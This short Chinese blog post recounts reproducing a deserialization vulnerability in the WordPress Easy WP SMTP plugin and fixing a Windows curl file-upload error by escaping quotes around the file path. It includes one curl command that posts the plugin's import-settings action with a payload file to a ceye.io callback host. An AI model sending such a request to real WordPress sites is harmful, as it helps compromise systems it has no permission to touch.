1. 程式人生 > >win中使用curl上傳文件報錯

win中使用curl上傳文件報錯

inf 分享 開始 圖片 set pyc 環境 action 文件

今天復現“WordPress插件Easy WP SMTP反序列化漏洞”時,需要使用curl上傳文件,我又用的windows環境,一直出錯 curl: (26) couldn‘t open file "D:/PyCharm/pocsuite3/pocsuite3/help/wordpress_unserialize.txt‘"

技術分享圖片

最開始以為是權限問題 結果並不是 搞了很久 最後解決方案如下圖

技術分享圖片

文件使用“”包含並用\轉義

url http://xxx.ceye.io/ -F ‘action=swpsmtp_clear_log‘ -F ‘swpsmtp_import_settings=1‘ -F ‘[email protected]\"D:/PyCharm/pocsuite3/pocsuite3/help/wordpress_unserialize.txt\"‘

ceye平臺:

技術分享圖片

win中使用curl上傳文件報錯